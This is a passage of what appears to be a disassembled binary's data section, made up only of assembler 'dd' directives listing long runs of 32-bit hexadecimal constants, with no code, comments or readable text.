0BB00867Bh, 25485F28h dd 12A81ECDh, 291FE1h, 0CB0BB89Ch, 2001DA07h, 25D5E770h dd 0DC8804Bh, 0DFD75CF6h, 83F52A00h, 0B04EF017h, 9BCAA4Dh dd 16EBE5h, 7E59FD19h, 3CEEFBh, 297B8AC6h, 55B01080h, 0B4ADF207h dd 7735EFC0h, 0D98C88C3h, 51D4F18Eh, 0F5C500D0h, 3CF28E4h dd 0F4041F33h, 0CE3E10FFh, 57FD25C0h, 7096FA2Dh, 9FD7070Ah dd 0F0A2D097h, 22640D69h, 1F65710Ah, 0D6079185h, 0D16475DCh dd 1F194B0h, 116AB8C8h, 209421ADh, 0F30528D4h, 8AE2EF0Ah dd 0F63D4080h, 0EA0801B7h, 9A07E979h, 439FC47Bh, 49AF9100h dd 0A75DFE16h, 302A00BAh, 77AB13BBh, 681FDCC3h, 0FD809A39h dd 8471E6FEh, 2CC907F6h, 80C77682h, 7DDEDDFBh, 7C4910Fh dd 4228C00Fh, 0ECCC2D79h, 5A3B384Ah, 8C599480h, 0BB4FE2A9h dd 15D40C03h, 0AA3D379Eh, 49F2C0C4h, 0DAB70003h, 14461F82h dd 0F10007E6h, 389A2947h, 0E7FC27h, 0DB13589Dh, 0E9AF3EDCh dd 0FBBB80A0h, 6D312900h, 0E3A89ECAh, 0BE8E045Fh, 0C1AC8D97h dd 0F88319CCh, 0F912912Ch, 1C40A7C0h, 72BE9FCEh, 0B4B0001Bh dd 0BDA96492h, 0A0580CF9h, 0B7CF0585h, 84804139h, 9C57D3h dd 0AA6C72ACh, 76FDB2D6h, 0FA661000h, 4277520Dh, 53043A16h dd 4CA6028Eh, 8F5175E0h, 2D729F3Eh, 0C8C78C24h, 0FA041100h dd 0CAC4EF3h, 0CE79FDFFh, 92055B18h, 6CD05612h, 0D347EC1Ch dd 0FCA0AA42h, 9C17E25h, 0B7B15F2Ch, 1E083000h, 3200B628h dd 9BF029A2h, 0C51A3Fh, 88E54DA3h, 0D2DBAF4Ch, 0F8653900h dd 79FC697Ah, 406600A8h, 4A02B1FBh, 9B00D6E4h, 3A567585h dd 1AE822Eh, 8D1B7C07h, 0EC7801A3h, 5FFC1D4Fh, 1A988603h dd 889B38EEh, 0D7F263h, 0BBB4B9CCh, 466EF8ECh, 0C1DE841Dh dd 16D9B840h, 597350h, 0A836BDE5h, 0CEA30C68h, 7B7C6B00h dd 0E92EE1B7h, 0E05000A7h, 90E47759h, 5B0E135Fh, 2CA1DDh dd 0AC563F0Fh, 0F8854CFCh, 2E38B10Eh, 18803069h, 0BADFB2EDh dd 56F02F50h, 9815CD1Fh, 666BC45h, 867BC700h, 0B519F90h dd 2861D149h, 7064C087h, 6D5C526Bh, 0B1A6EB2Ch, 0A09FE50Fh dd 0D01ABA53h, 0B57F004Fh, 83241814h, 5803EE09h, 0BD4DF1B7h dd 0BC213F37h, 0B90A3980h, 0A0DF9B41h, 0BD269000h, 0B5F0ECCCh dd 1B42034Bh, 0F8D982B4h, 0FB2CC098h, 0FB8B003h, 0F46644D5h dd 0D0CE5380h, 0B62900E5h, 86C40CC6h, 0C8F332F7h, 2524E761h dd 74005448h, 2EBAF2EEh, 803C96B2h, 5023A60Ah, 0F5051F43h dd 924D16B8h, 0D0EF98C3h, 7FA6A33h, 966DDDE3h, 2607E87h dd 5D36CB56h, 0D6431A00h, 76E3BA7Fh, 0D10009Fh, 0EC51E8E6h dd 4806CE38h, 6EDB3786h, 0BDA00111h, 6C2FCCD2h, 7C6C28A2h dd 0A72A2612h, 6B24E8C0h, 497901F1h, 4477F73Bh, 0AC85E0FCh dd 525E101h, 0A927A651h, 819CC0F7h, 0F73A003Bh, 1B57E792h dd 49C0ABF4h, 74CD8FCEh, 0F0620C3Bh, 0D119E7DCh, 71EE9102h dd 0C204D75Eh, 0C02C6A05h, 9618E5ACh, 9F8D004Ch, 8F898826h dd 8B0A1AE8h, 10EBBEFDh, 571D9103h, 0FBE004D0h, 80B01133h dd 0F01B32FAh, 0A0AB8500h, 0EE759238h, 0A545005Fh, 98521947h dd 7E007266h, 0CC63549Bh, 1A4D29h, 0AF56743Ch, 5BAC6835h dd 0B5DD3000h, 40751855h, 491600CCh, 6F9EEC58h, 380FFA7Eh dd 0A0E16B79h, 29FF76CAh, 0E6F28Ah, 0E24BDC90h, 0A67C4CEDh dd 388FC3Eh, 0DD8F4E83h, 0A9D9D80Eh, 0BA62007Bh, 7147AEC9h dd 22003D58h, 0C14FADEAh, 0C0B2F3h, 72A8C5DFh, 9AB942C2h dd 33D03Ch, 466BD8CAh, 4AAB53B7h, 0D44800B6h, 5FFB202Ch dd 0E1506717h, 0CC6BF701h, 0CA310BF2h, 58C55D0h, 5A7D18B3h dd 0EDF48134h, 39486D8Ah, 794E00BCh, 70B1E2E7h, 106213C5h dd 0A69307E1h, 30AEF18Fh, 0A9D0E70Dh, 0D8A4FDC3h, 63333811h dd 0E855FA03h, 80ACF946h, 2F222AE8h, 1776E206h, 1678A939h dd 8C23AAE5h, 74E67C68h, 1819D723h, 1B2361F0h, 44F841E6h dd 90589807h, 0CF80CC52h, 26033053h, 1E0D0238h, 0EC560263h dd 0C4792DD2h, 9F756801h, 0AE215794h, 3B22C439h, 75724A00h dd 1C0969CFh, 0EA5C2D8Fh, 0D2E65CA1h, 19D2420Ch, 0BE66A160h dd 6C972C00h, 2F116545h, 0A58A009Eh, 3775A4E0h, 0E0C05579h dd 0D729EA80h, 0C348003Ah, 0CB5FB43Ch, 0E21FF035h, 140A6ADh dd 2A88E9FDh, 0AA6300D1h, 66B46A5Ah, 380007A5h, 3095A698h dd 82DF6Dh, 8415E357h, 0D626E014h, 0FE8C771Fh, 0F2FA8EC0h dd 416E42h, 0CF5F6425h, 0AE5BF167h, 0F013B809h, 5A80DF89h dd 799317E0h, 0CDC0D907h, 0E5C01D95h, 6B6743h, 0BD2C4D7Fh dd 5C16CFC8h, 0C7898600h, 0DEADE448h, 0E6EE00ACh, 1D023E95h dd 4030A95Ah, 579DB6BCh, 648E0042h, 0EB99DADDh, 0AC004705h dd 32A23102h, 702AB048h, 424E13E2h, 8B690770h, 1EC04F99h dd 0DB6D6ABFh, 0E49B6504h, 0FA877D42h, 1C21C346h, 4F6E3B72h dd 93A30892h, 1800040Dh, 0B99E7E9Fh, 5805EE4Eh, 3337DEEBh dd 44B87070h, 287F9D9Fh, 3125C630h, 1EB0AFFh, 57CB7AD5h dd 0BFC4A831h, 5F21E008h, 7E3AECF9h, 0E64700F4h, 0ACFF4098h dd 58C52D6Ah, 0B28685C2h, 0A030D870h, 160D2FD4h, 682EAC51h dd 0E7E88F00h, 0ECC90E6h, 6C73992Dh, 202F5D86h, 4C487701h dd 0F9C6C842h, 0BD8A7980h, 9CA5DC89h, 2D91A600h, 3DCB04D0h dd 474B055h, 113E19E2h, 692386D2h, 21875F00h, 0C7DA8551h dd 7596076Eh, 0A0830CF1h, 3237E3D3h, 0F534F9C0h, 5EBDAC3h dd 8D1372F4h, 73C4235Dh, 0CCA1EDC2h, 0E4578717h, 140010E3h dd 0B236E499h, 0E21C16h, 0D5D34D03h, 0FC1A53ACh, 0D9749800h dd 5C048390h, 94A52642h, 0D6580E8Fh, 75397061h, 0FA044BBBh dd 0E961C680h, 0D97F8E7Dh, 116E4B0Ch, 7824206Dh, 288A61EFh dd 86D32246h, 3A433639h, 62400340h, 7E5128ACh, 6DA10C98h dd 8618713Dh, 1652B63Ah, 0ED500029h, 0EFF11506h, 0BA1D6ED5h dd 0CC198817h, 1C0D321h, 92160048h, 94B378D5h, 180E837Fh dd 5FD7AC6Ch, 0BA2BB6C3h, 29B9304Dh, 0B9EF9C10h, 2D2008D8h dd 40D9DC77h, 6B418F10h, 5C03559Ah, 6A8D4489h, 7C08048Ah dd 0B90908h, 56DD46BAh, 7845F20Fh, 0C0517DCFh, 1DBB91E8h dd 0B8023F66h, 73C3466Dh, 0F08CA669h, 4D7000B9h, 0F49C58E0h dd 0C15D8AAh, 0AC7C79h, 1CB4080h, 0C6D098h, 6373CC45h dd 0FA947A33h, 56BCB31Dh, 99495958h, 0E80E231h, 114D5884h dd 222B7460h, 1A037FAAh, 2C65397Ch, 5179393Ch, 96002E5Ch dd 0E4BA193Fh, 8A704CB2h, 4BECD201h, 58F57C1Ch, 0EC003961h dd 0AACD10Ch, 90EFB2B5h, 0E3E460E0h, 0DB001385h, 315F1FDAh dd 0CD84839h, 0BAA362FCh, 4C000BC8h, 4263E625h, 3FD1A74Eh dd 2281DDCDh, 0A1E5CC2Eh, 5112F7BEh, 18404791h, 3C9AB5D5h dd 44B1007Ch dd 7F7B40FAh, 420029A6h, 0BBD0DAC7h, 2BAF37Eh, 58A78F76h dd 0DB80ACA4h, 0D4E56E60h, 0F04FE00h, 4DA8F85Bh, 36711570h dd 901F074h, 17F53C40h, 0C56FC4CAh, 0C40B2C2Bh, 2EFEFC00h dd 0F611B8FFh, 655B1F0Ah, 38D6CEA1h, 95569480h, 53F9F728h dd 0D1F26CC0h, 0BE5104DDh, 64844780h, 0A2F11810h, 0E3930845h dd 0E521401Fh, 52BA3704h, 24201496h, 401CDCCFh, 33CBE37Fh dd 54FEBF00h, 44435CE6h, 18A274DAh, 291E5F86h, 210077D0h dd 0FA16319h, 0A2ED1Ch, 0D532BF60h, 0ECDBC7EFh, 0F4FC1E01h dd 542EC12Ah, 24463884h, 3CC488A2h, 1C7F8288h, 0C08DFB44h dd 315D6E1Fh, 381FC8BFh, 80C05304h, 0DD697195h, 0A0F0A32Dh dd 284925BEh, 0F3AC4375h, 3784980h, 0A342FD70h, 0D40D6500h dd 6255C230h, 0EA721D0Ch, 5828C0ECh, 1B71760Eh, 60BF3712h dd 0F2A27844h, 0CF819097h, 202441BEh, 0B1D16FACh, 215D2900h dd 130001DBh, 0F198C5D5h, 2DAE192Ch, 3ED0CCECh, 70ACE50Eh dd 516E6C07h, 90CE0EDBh, 37015292h, 98041EA8h, 0F5595F08h dd 939003FAh, 898CB928h, 0C47C9024h, 1EF71B40h, 6E76000Dh dd 0A0327187h, 9D00C9B3h, 0A6E95031h, 0E90E18CEh, 18FB1AE4h dd 586CDBA9h, 0FF00B8E8h, 0DE7F1B92h, 18713F33h, 7949A9D9h dd 0CFE206D2h, 8AFAF300h, 7FC1E5D6h, 706D0017h, 0C5192E9Bh dd 654C6431h, 0F440DE3Ch, 9E307334h, 22DF4E0h, 761DBA1Ch dd 0B4694E82h, 0C324105Eh, 0D02A833Eh, 0F001A8A2h, 0D1339ED5h dd 9F405E3h, 12C02858h, 55E130ECh, 0C2434431h, 4F3A7401h dd 0A260BD7Ch, 87A890D7h, 0F48014B4h, 9A0074ACh, 0BB3DCF76h dd 0D90EEDA3h, 20F1CB0Bh, 0CA89243Fh, 0EC92489Fh, 0F4E40D80h dd 8400DC65h, 4924B0B3h, 0FE2E7Fh, 3E11627Ah, 0FB3F07C5h dd 0ED4CF404h, 0A0C0F7AAh, 306851DFh, 19A15098h, 7092FC7h dd 68ECDC2h, 4908B5BEh, 14057405h, 0B772F83h, 0ED8056DEh dd 0B650C4CEh, 3491A278h, 7FFBE100h, 7D69578h, 6AAFA6F1h dd 710C37DBh, 806F2CACh, 4E101B28h, 48371591h, 0F484D4D9h dd 8DF48169h, 6064F2F3h, 1A36A44h, 82B31C6Bh, 0CB06B526h dd 0E088C581h, 0D2123F03h, 0FC04A10Ah, 748897D0h, 72CD88CCh dd 4687560Eh, 2C528026h, 2173304h, 51DA5445h, 8498919Eh dd 25112C7Dh, 468C9DC2h, 0B904FE89h, 875F842Fh, 0F2606890h dd 0C4460019h, 9EBDCDE6h, 80E915Dh, 0C03CF988h, 5228DCBFh dd 0D5051AFEh, 0D08249CDh, 0EC206C34h, 48A035D0h, 93C01894h dd 1E51DB47h, 62B4E71Dh, 853D854Fh, 9C0A1952h, 1C29747Eh dd 98C86700h, 50A79930h, 37F3479h, 0C281E13Ah, 0E889432Dh dd 43872B6h, 48D4A993h, 2654F480h, 0C8F354C3h, 0BA9E0207h dd 0A4934B12h, 0CE005CC4h, 62B70BC2h, 0F4AA7179h, 589E6EE1h dd 516D3501h, 0BA30057h, 0DDA40C5Dh, 1388D8Ch, 0FCE283F2h dd 3D8AC05h, 2404E754h, 4C88BAB4h, 7A7E0AEFh, 40180B34h dd 0FFD4CF55h, 1CD0B104h, 1080393Dh, 17533Fh, 2BA1F6D3h dd 0E62EE2E8h, 0A050B705h, 1F805D08h, 5CC833D5h, 7C84AFh dd 5E963F95h, 6B0291AAh, 89FCA70Fh, 81C64C51h, 0EDB8C429h dd 0CEE08049h, 2F043538h, 0B6E79CCFh, 5DB7488h, 7C1F4A5Ch dd 0F4D84354h, 7FC018FEh, 69246C57h, 105E2CDFh, 80B9542Fh dd 0A829D5A2h, 0DDB302B6h, 0E53A6134h, 4C02DCECh, 17F29C01h dd 10411988h, 1010B30h, 0F322DDF5h, 32CD409Dh, 0CFAC1554h dd 0FE6500FCh, 5783DCD8h, 20A02E34h, 3C1709A8h, 3291D011h dd 0D0030074h, 0A5B2AF31h, 8EFF003Dh, 80A996EDh, 1726104Eh dd 9302AC32h, 0A13BAC81h, 0BE0E1BCCh, 4DE8AAD9h, 679EECA2h dd 40125051h, 0E38D6972h, 0D555B0A0h, 8FB1A10Bh, 0F1680056h dd 0FF2AA4D6h, 75C0D7E2h, 74948C8Ah, 5EDB8B00h, 2CB4AF3Ah dd 2074A3F7h, 0C97209C8h, 5003419Ah, 0B91221E1h, 80902763h dd 0B7B1889h, 54D1995Ah, 0EDAA6098h, 50802B1Dh, 806556C9h dd 9EA3BE90h, 25B80B6Dh, 0AC015F90h, 0EDFA626Bh, 9854CCD9h dd 404B5630h, 943A2B7Eh, 0F90770E4h, 0BF001D73h, 0D6C272CCh dd 0C091840Ch, 0D93CFBD8h, 5C0F3428h, 0E0507462h, 0ED58F54Bh dd 8CAB500Ah, 315667A5h, 0DB9DC0E0h, 7F7ABA2Eh, 7A43F300h dd 1D507538h, 32E43CC2h, 2825BF94h, 0D6C5580Ch, 0C0A13A19h dd 0F1998378h, 2B7AC4Dh, 8667F3A9h, 6090B93Dh, 48B0A7C7h dd 8378A8C9h, 4594C5Eh, 4B1DAA58h, 0D5F8839Ch, 0C806E8E1h dd 8026B651h, 0ED1414F7h, 74900E48h, 857C34BBh, 849F1B9h dd 1BB4C962h, 61731660h, 580C1885h, 0D58448B6h, 9462407Dh dd 0E0B4F940h, 6186DA78h, 16069161h, 0FE0D0E2Ch, 60498A58h dd 9B600DFFh, 102224C9h, 816F0070h, 0EE022BBDh, 54A0AA85h dd 0F8E8A33Eh, 938918A0h, 0A7A0C800h, 79412F5Bh, 0F359C1DAh dd 0B98BFFDDh, 0B2EF0038h, 0E5A4943Ah, 0CCCD546Dh, 0BDD81887h dd 4AD71171h, 5104BEF0h, 0D6377A69h, 489FD088h, 0C840D86Fh dd 786F07Fh, 937C91F4h, 450A80BBh, 7E30F02Bh, 4D91072h dd 0D3CF0094h, 57962489h, 0EE516E0Bh, 0BF304134h, 0B8DC1059h dd 0A9A50A38h, 48A0F0D0h, 354907F8h, 0F810A929h, 48391894h dd 30986B4Dh, 0E74C1474h, 0C1FA9070h, 760FE10h, 73D030E0h dd 0D98A3A00h, 508B47BBh, 0BF300056h, 11B8E9F6h, 4C4DC329h dd 40D42B74h, 7204CEE4h, 5C7428FBh, 0FF06D030h, 18B4405Bh dd 71EFB501h, 0F0B91A23h, 0CF16202Ch, 0D4D021D6h, 0C2544461h dd 0BCA48594h, 22095697h, 50E4033Fh, 1B4000ECh, 0D889D6B0h dd 287CDB7Fh, 0ED56A4A8h, 1F3F4226h, 8E0A1024h, 36090C5Ah dd 331C908Ch, 0A0CA05Fh, 7C30C454h, 357890B6h, 0BB074563h dd 880268A9h, 21562DF0h, 0A42718F0h, 19330851h, 8076E83Eh dd 4E01855Bh, 245861h, 4BFD51A9h, 0B0F5F33Eh, 9C201A2Ah dd 482E545Ah, 0ABF002EFh, 0E2AC53D5h, 0D394810Bh, 803013ADh dd 62B501E1h, 4FFC7FB6h, 0ACD43001h, 4D777902h, 82C1D272h dd 2161C914h, 292E2E4h, 0CD4F10A5h, 2804A58Bh, 2144366Eh dd 0CEE5447Ah, 0FA04615Ch, 0CD089167h, 0C4DBC443h, 0BB42C508h dd 2892535h, 0A9BA9014h, 0B5941907h, 423B3104h, 34E0FF5h dd 5121D554h, 4D590C5Dh, 14A07179h, 51C8BF9Dh, 7AAB8031h dd 0EB8F7632h, 665BB404h, 7AC0182Ah, 0EF859C0h, 0B59F1ED2h dd 214BC400h, 0D10152C7h, 0F1BA6F7Ch, 31F0493Fh, 47EF0086h dd 0DDEA758Dh, 7803A2D1h, 5EEB430Eh, 3EE0A013h, 4D7600F1h dd 7E88FD0h, 25018DBCh, 38746724h, 2EF0ED97h, 98810ED9h dd 6D81C7FFh, 0E0B980C1h, 0E3003CF1h, 41BEB357h, 1FA90832h dd 0CF93EA3Eh, 9DEFFC4Ch, 0F7E9C47Ch, 80E4D519h, 73D2CBBCh dd 340041E8h, 9FE1C97Eh, 900104h, 0A411AD48h, 864BC276h dd 8F650B00h, 0FDCA7C98h, 0B8600094h, 0FB0A139Fh, 43018E42h dd 407D3C9Ch, 0DAC4DF56h, 2D5C0004h, 295B6DD1h, 9000699Bh dd 1DAFB18Ch, 21B0CDEh, 151663E3h, 0B000B44Fh, 7090506h dd 0A987D061h, 0E92CB0EDh, 20FCB80Eh, 33073600h, 48D3867Eh dd 0CD6500A9h, 6B40607Dh, 4200F73Ah, 49D5B693h, 1DE3ACF3h dd 0DDA8DEDAh, 0B80FC047h, 97CB067Bh, 27624C1Ch, 619C4083h dd 384B00Ch, 0B830357h, 457AD6CBh, 0B0C88DE3h, 692867CEh dd 20EDCAFh, 0FF81D840h, 9104AD5Ch, 0F4C0B590h, 5B93B1h dd 0BD8420C3h, 0FEDC4F74h dd 0D3463900h, 0E196CDDEh, 0DAE0002Bh, 1C3DC86Eh, 3AE46F65h dd 18060E14h, 0CA3C0080h, 38ED44A5h, 477A90h, 6DC4245Ah dd 5388659Ah, 41AB0500h, 0EDD7BDD5h, 3E7BBBh, 0C5458CB0h dd 0FDA02D3Bh, 23FC3800h, 0ACE321A2h, 7349086h, 759F5882h dd 0BD039016h, 7AE0692Ah, 0EAEFF900h, 36CFDA33h, 9C5F00CBh dd 789A1E7Eh, 0BF00613Fh, 0CA4E562Fh, 3A40A05Ah, 3C75BD05h dd 3180FBA5h, 0FEB5CCC1h, 2F00BA66h, 71129CC3h, 0E91FB6h dd 4643B465h, 6744B86Fh, 691B5600h, 5877CBE4h, 14350089h dd 0E5CF93E9h, 0B300C98Ah, 0E0103381h, 12E81A78h, 2D572A8h dd 0B908DD10h, 0C01C8804h, 309CAA61h, 0B01CBBBh, 53E425BFh dd 0ACD8D778h, 0CC8A0033h, 76F28BDDh, 7400EBD9h, 0B9BA40A1h dd 7F787930h, 28BC006Fh, 0B7C383C8h, 18C02D37h, 0A9A3EB08h dd 30E80710h, 0BFE35CEAh, 0AD65B100h, 0B3005E85h, 2EF11AC0h dd 0D320CCh, 99BDEEC6h, 0F8A3AFDDh, 0CC8248h, 80DE1446h dd 143CEECh, 0F4DAF325h, 0D09D1398h, 0A70049AEh, 63CB2219h dd 7074AC2Dh, 0F5DE1E7Ah, 389840B4h, 0A9195813h, 93851A0Bh dd 9FCC40CAh, 62EEE3h, 20884EAFh, 2C138D24h, 0FAD24500h dd 6B785EA2h, 66F50B60h, 0DBF6E7E4h, 41C3A600h, 3B4F5Bh dd 44122247h, 7B639187h, 183AE077h, 9BB71357h, 8B04D401h dd 28FC603Fh, 58E14DB5h, 1104026h, 544D7D0Eh, 64F0FF84h dd 8F00E1E4h, 0F1E00489h, 0F1BC92Fh, 0EB42A527h, 0D78223A4h dd 4CA1802Ch, 0DF006E45h, 8DBBCC85h, 0EB93990h, 7DF80FDEh dd 0EDA29201h, 0D501D853h, 9870E400h, 0F252A476h, 0B275006Ch dd 0A03E8B9h, 9300582Dh, 12597450h, 0DCFB76h, 0F20831C2h dd 34DF84AAh, 8DE50A28h, 0BBB74101h, 9638F99Dh, 3E68E820h dd 0CCBC443Bh, 0F2C30C87h, 0B000B958h, 2ECD0460h, 0F0A6B11Fh dd 8B9A5E00h, 0BE023F4h, 7BDB431Dh, 53E2A80Eh, 8540A4B4h dd 7A1C83C2h, 2147202Eh, 0AD06049h, 19DE365h, 199209E8h dd 0F015B7BFh, 7903E5AAh, 0B9D2409Eh, 476A8064h, 0F806000Dh dd 1678A138h, 8B1131Bh, 0F2E20500h, 138DFFCCh, 40B542Ch dd 0C049F5CCh, 6A2B5FDAh, 107BE400h, 0DF440A77h, 61F02Fh dd 0E54A34A7h, 0F4704E08h, 6E07289Ah, 471004CEh, 0CFE02FE0h dd 129401D1h, 2CA8F0BDh, 0AFBBC811h, 0CC5E4C01h, 6340D24h dd 6601D0h, 0B2F5CE40h, 0C8A3B3DFh, 7F007474h, 50773E79h dd 75084Eh, 46117D78h, 24E957BDh, 5951503h, 0B898F8B0h dd 7E78EEDh, 0A24F78B6h, 50A3A00Ch, 0C500E5F1h, 2655D38Ah dd 3D4DA03h, 1F5840ECh, 0F600077Ah, 0ACF2AFDCh, 0ECD63808h dd 0E06B707Fh, 51500C6h, 9557AB90h, 590BECACh, 49F8D2h dd 9E4F8F8Bh, 70BA0F43h, 0FC8027A8h, 931AB572h, 7F174700h dd 0BF4DEF15h, 7DC9003Ch, 54A95F8h, 6000816Ah, 2965F2D6h dd 72696E4h, 0DCD021D2h, 0D5AF7088h, 0CD4CFCCEh, 0C8BC4BACh dd 7C165E07h, 4DC23080h, 0F6E29FC3h, 0F5020498h, 0CD6325E8h dd 77C8A048h, 0FF420B3Bh, 1467C20h, 0B2CBB193h, 0D4FCB321h dd 0F30067F2h, 9C246F81h, 3170E54h, 76314177h, 0B4D03683h dd 0C4002ECCh, 50ADB11Fh, 6A16E5h, 451C3CE9h, 819BB6E8h dd 90D92D00h, 231F724Ch, 91CD0EECh, 0E3A08B7Fh, 0DE06E235h dd 57DC0507h, 0B6B08D19h, 1DABCFB5h, 85137375h, 0C71D963h dd 4E488B95h, 66E0C300h, 0A0ED78DEh, 0A2A90052h, 3D22423Ah dd 60061DBh, 0C4CAB938h, 43B06Fh, 0D701E49Ah, 0D93BA7E8h dd 0FD0053ECh, 527F4F7Eh, 0EB0C11h, 8DB9CB6Dh, 21AE241Eh dd 935383Ah, 1190CCh, 74697E54h, 1DC5009Eh, 9DE76059h dd 3D1F4FBAh, 0D8CE2E3Ch, 9E8D0031h, 9006C9D3h, 0F30E0590h dd 0A7B018h, 0F61BA3A2h, 56002D58h, 3ADF7BB2h, 71BE68h dd 8AAE83FFh, 289FD8E8h, 508CCD00h, 5B7E2B64h, 0F410C0B3h dd 0D7E0DA44h, 179AEE0Fh, 9626A116h, 28966ACFh, 0BDD30FBFh dd 81FE9320h, 18096886h, 20AD3A63h, 7F58E114h, 9B4E582Eh dd 40C6A800h, 0B350F418h, 0E51EC300h, 6FB4EC0Dh, 94B808h dd 0D96C3C55h, 66D27FB1h, 9E00F7E8h, 0DBB90B0Eh, 18A772B0h dd 3C569F99h, 0F008180h, 0C934A0CAh, 3CE62Bh, 0A1577069h dd 8DB591CEh, 49864E00h, 1D03D779h, 0B995006Ch, 8F2EB34h dd 0C8006DE7h, 7D1F48A1h, 0EC73658h, 770DA331h, 69D444C0h dd 1D0039A5h, 0C6A49983h, 0F29D612Ch, 4A15008Ah, 0E7510970h dd 0D5000BF4h, 0D890753Ah, 0C72DFE0h, 0F768B5C4h, 3B038B58h dd 33CB273Dh, 60AF8FFh, 0EEA600E4h, 37AC11B6h, 84C22B7h dd 0C8DB00E1h, 8F5874AEh, 732E4ADh, 558D83EDh, 2CE18172h dd 3CD401Eh, 0A1000D42h, 2EDBEE6Dh, 4F40D2A0h, 7008E827h dd 0C2F22032h, 0C8B0C35Bh, 2DB238h, 0F0EBE005h, 5363BD08h dd 79002CB8h, 6BD13AA9h, 38C739h, 0F4A225E4h, 0C1C35581h dd 1FEAFD00h, 359E2A9Ch, 4ED3E7Ah, 0FFCAC780h, 1C8C8346h dd 97D04800h, 78C16086h, 93A0001Fh, 2DFC47BCh, 0C3D49BEh dd 0C8F0806Ah, 740B1246h, 7CC12E6Ch, 573C0992h, 37344900h dd 55004E7Eh, 88F204BAh, 1827631Ch, 1BAD1460h, 5E00FE78h dd 0FD379883h, 95903B9h, 314962B2h, 5F2C9CE0h, 41F93900h dd 9DBC57E3h, 0E6C600ADh, 0CB72D758h, 0D3F26261h, 1893170Eh dd 7B21255Ch, 11BCB7C0h, 623C0339h, 0E40A13BEh, 3FD83AA0h dd 54BA4Ch, 0F95AD198h, 1CEAF5h, 8E65716h, 0F7C051B4h dd 0C46F4A00h, 9437BE2Bh, 911F62D6h, 68C85FC6h, 0A500826Fh dd 4ABE2F33h, 161DF067h, 1BA31B5h, 883554AFh, 2F28F8BDh dd 3E071607h, 0C032FEE4h, 8A4CE076h, 0EE543A8Ch, 44D3B600h dd 0E7484C97h, 1F00B174h, 864BC159h, 39726E5Bh, 0E289CE24h dd 54808C0Fh, 0C07FE59Dh, 0F842FB00h, 1F5E2E12h, 69002A7h dd 0F31BA4A9h, 576D83C0h, 599DED2Eh, 9903BC28h, 9CEF7F1h dd 67E7B8E5h, 387490D6h, 0F75B3Ch, 0E308077Fh, 55130191h dd 94002575h, 0A9A83E1Ah, 0EEEED3D6h, 8D572E51h, 4D1E0091h dd 0E5F90A1h, 119C230Fh, 89954724h, 7480DAD4h, 18FB59h dd 1F18630h, 0D8C52C70h, 35BFC100h, 69F66B79h, 41500E2h dd 0DBDE7DC6h, 0B0093D4h, 0CE13AECBh, 4BD347h, 0BC7B5258h dd 0F49451Fh, 0DE4F9A07h, 0FBE50DB9h, 8EA21CC0h, 96E1CB3h dd 16003817h, 47E1D1A5h, 0B900E57Fh, 2835C213h, 906F6310h dd 0A4973900h, 7EE8AC80h, 0E90E8B9Ch, 793D25F8h, 42A89478h dd 88E32CF8h, 73D81380h, 503B24h, 28301927h, 0F5D53708h dd 827F627Fh, 2C900601h, 0A9698F23h, 79A25830h, 5AE8124Fh dd 1F360EDCh, 425C81E0h, 0E2003EB6h, 0BA3C7431h, 0E9FA66D8h dd 0B32FDCh, 53EF62B9h, 7E064781h, 0DDC14D00h, 0A4D4E720h dd 0EC9058E6h, 7B6CAB00h, 0FA38BC7Ch, 8D6FFEC2h, 4686C049h dd 3F07391Eh, 0DB6B2301h, 0D601A42Ch, 0EAAE1840h, 9CA72607h dd 0CD20576Fh, 170BB5Fh, 97A052E4h, 0C4FF90D4h, 9D009243h dd 0DDBD551Ah, 11FEDCh, 0F50CA01Eh, 6383358Eh, 7E972100h dd 54C655D1h, 60940709h, 614A2604h, 7019242Ah, 40219A2Ch dd 0F03B0137h, 0D40B6756h, 431F65A8h, 87007E8Eh, 34EE14CAh dd 3F7800FEh, 61D8510Ch, 30FC71D6h, 77E4F40Fh, 0A4D3567Dh dd 0DDC3B149h, 0E45B020h, 6E2C588Eh, 945F5E80h, 0C20064BBh dd 2F692BE6h, 60E2356h dd 7239858Ah, 301331D4h, 4C4FA9Bh, 8189FA0Eh, 4ABFF10Fh dd 40E5028h, 580665Bh, 13EB42CFh, 74860709h, 0DFD80365h dd 894BF046h, 1ED70172h, 6B2DB0E7h, 3A9DE0FDh, 8CB73Fh dd 901A5F96h, 48C9AD86h, 0F31CAC7Fh, 0CC488037h, 45BBD8BFh dd 54ED5Ch, 0A80BD0CAh, 0E87F51h, 2AB7B004h, 5C91A23Eh dd 0A5271103h, 0C86C2DABh, 53F638h, 0D21B3706h, 246A999h dd 0B389B502h, 60FE8D51h, 5CFD4E60h, 59006A42h, 0C92E6F09h dd 0FC90CB34h, 97486000h, 164B435Eh, 630407D7h, 3049D9CEh dd 8C022FD0h, 175A4F04h, 0D8E036C2h, 621B01FCh, 0A2449801h dd 2382D92h, 0F27C991Fh, 5FC41F0h, 7ACE4021h, 88DC0780h dd 5EC85A11h, 0E86F9D80h, 4128BA17h, 0A602B405h, 76D7DF0Ah dd 0BFF4A150h, 6700B93Fh, 3C60FAB6h, 0DEE5728h, 7F7CB5h dd 17FDFF38h, 7853A268h, 0A6C64605h, 0E82079FAh, 1398138h dd 0E268B102h, 0E4CFB359h, 7EE4D330h, 10FEB526h, 89421500h dd 418E941h, 0CAB3A988h, 1CB0BC6Ah, 50B03C7Bh, 7253ECABh dd 0E6DF0044h, 5103FAFEh, 0DA04F174h, 19BF4279h, 10A2CE0h dd 0FB7DEE60h, 0C4D0C9DFh, 0B3B067A9h, 0D3F8C265h, 4FD9AFC0h dd 0F35C171Fh, 0D02D0246h, 0BF404E8Bh, 0C1003CDFh, 920C0BE6h dd 295BB1h, 369388CDh, 0C6EAB534h, 70955600h, 4C90BE2Eh dd 983003Ah, 88E30EE0h, 8F4A92D7h, 5FB904C1h, 86C0C868h dd 2A9789E8h, 0FFEFF600h, 1241BDB7h, 0B646020Ah, 0A2934AA8h dd 0D4029061h, 0D702F310h, 381662BAh, 0E7C8A4F4h, 0AD90F4h dd 0E4691420h, 3150330Dh, 5FF43A01h, 2C7DCEA2h, 1F8BE3F4h dd 40BF3DBCh, 0C5B2E70Bh, 7E00E1ECh, 0AD88BA41h, 56A885h dd 93EA7FB7h, 1D831392h, 727CE03Dh, 503AC000h, 586D1542h dd 66010228h, 19188D0Bh, 3F972060h, 81987804h, 83EF3AC2h dd 0A80340C0h, 0A5AFB637h, 285816AAh, 5A890222h, 0CCD2D4A7h dd 98520107h, 54B79258h, 0A0A36383h, 356BD3h, 0A1A4F837h dd 0C1F274DCh, 0D58AC600h, 0C876CD14h, 0C0010E71h, 